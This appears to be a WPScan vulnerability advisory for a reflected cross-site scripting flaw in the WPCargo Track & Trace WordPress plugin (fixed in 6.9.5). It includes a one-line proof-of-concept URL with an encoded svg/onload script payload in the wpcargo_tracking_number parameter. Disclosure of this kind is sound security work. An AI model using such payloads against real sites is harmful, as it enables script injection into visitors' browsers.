WordPress Plugin Vulnerabilities
WPCargo Track & Trace < 6.9.5 - Reflected Cross Site Scripting
Description
The plugin does not sanitise and escape the wpcargo_tracking_number parameter before outputting it back in the page, which could allow attackers to perform reflected Cross-Site Scripting attacks.
Proof of Concept
On a page using the [wpcargo_trackform] shortcode, append the following parameter and payload: wpcargo_tracking_number=%22%3E%3Csvg/onload=alert(/xss/)%3E e.g: https://example.com/page-with-shortcode/?wpcargo_tracking_number=%22%3E%3Csvg/onload=alert(/xss/)%3E
Affects Plugins
Fixed in 6.9.5 References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Raul
Submitter
Raul
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-04-25 (about 1 years ago)
Added
2022-04-25 (about 1 years ago)
Last Updated
2023-02-05 (about 9 months ago)
WPScan 